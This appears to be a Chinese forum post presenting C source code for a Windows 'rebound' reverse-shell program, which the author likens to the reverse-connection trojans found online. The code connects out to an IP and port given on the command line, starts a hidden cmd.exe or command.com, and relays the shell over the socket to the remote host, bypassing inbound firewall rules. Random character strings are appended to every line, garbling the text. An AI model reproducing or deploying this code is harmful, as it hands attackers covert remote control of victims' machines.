这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 zD<or&6
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/* ============================== V
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Rebound port in Windows NT L:z?Zt)|
By wind,2006/7 Mb]rY>B4
===============================*/ Z.M,NR
#include sq;s]@~
#include H=\3Jj(4
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#pragma comment(lib,"wsock32.lib") ?yj6CL(,
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void OutputShell(); (`:O~>[N
SOCKET sClient; SXy=<%ed
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6qaulwV4t
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void main(int argc,char **argv) 0)m(;> '70
{ YJo["Q
WSADATA stWsaData; KhMSL
int nRet; PnoPbk[<
SOCKADDR_IN stSaiClient,stSaiServer; [h,Q Bz
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if(argc != 3) o0pII )v
{ Iyyh!MVF
printf("Useage:\n\rRebound DestIP DestPort\n"); d`F&aC
return; }6@pJG
} qcN'e.A
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WSAStartup(MAKEWORD(2,2),&stWsaData); FD8N"p
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HTyLJe
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stSaiClient.sin_family = AF_INET; 9F*+YG!
stSaiClient.sin_port = htons(0); %Jrt4sg[j-
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); pi
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /<]{KI
{ /=gOa\k|p
printf("Bind Socket Failed!\n"); jb^N|zb
return; Yk5}`d!:
} [!U?}1YQ
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stSaiServer.sin_family = AF_INET; nTz6LVF
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /\WQxe
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); U~ck!\0&T
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $n^gmhp
{ I:d[Q
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printf("Connect Error!"); p^'3Odd|O
return; ~PHB_cyth
} )}_a
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OutputShell(); 6%VV,$p
} I;1lX
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void OutputShell() Ix(><#P
{ 6KOlY>m]
char szBuff[1024]; `8Lo {P
SECURITY_ATTRIBUTES stSecurityAttributes; $VxA0
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OSVERSIONINFO stOsversionInfo; b&5lY p"d
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; n2IV2^ "
STARTUPINFO stStartupInfo; E_bO9nRHV
char *szShell; Qx'`PNU9\
PROCESS_INFORMATION stProcessInformation; ;ji pe3LU
unsigned long lBytesRead; W[}s o6
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); e@ \p0(
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); w &%~3Cz.
stSecurityAttributes.lpSecurityDescriptor = 0; &|`C)6[C
stSecurityAttributes.bInheritHandle = TRUE; gB4U*D0[e~
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +|ycvHd
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +(+Itmx2&
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %bdjBa}
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dzkw$m^@^
stStartupInfo.wShowWindow = SW_HIDE; zH*KYB
stStartupInfo.hStdInput = hReadPipe; H~E(JLcU
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; bl'z<S,
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GetVersionEx(&stOsversionInfo); +EAT:,
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switch(stOsversionInfo.dwPlatformId) :Pv*,qHE
{ cDI [PJ9
case 1: .YZgOJi
szShell = "command.com"; qBT.x,$
break; > z^#
default: %b^OeWip
szShell = "cmd.exe"; 2 6>ZW4Z
break; UYz0PSV=.
} a<h1\ `H7
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %G?;!Lz
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send(sClient,szMsg,77,0); R9!Uo
while(1) h48SItY
{ 0Ld@H)
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); sIv)'
if(lBytesRead) _H^^y$+1
{ U`]T~9I
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); raQ7.7
send(sClient,szBuff,lBytesRead,0); 8O"U 0
} J=dJsk
else (4%YHS8
{ oQL59XOT4
lBytesRead=recv(sClient,szBuff,1024,0); $8crN$ye
if(lBytesRead<=0) break; 1lpwZ"
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *;XWLd#
} wlPx,UqZ
} MJ\ eh>v&
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return; )=DGdIEt
}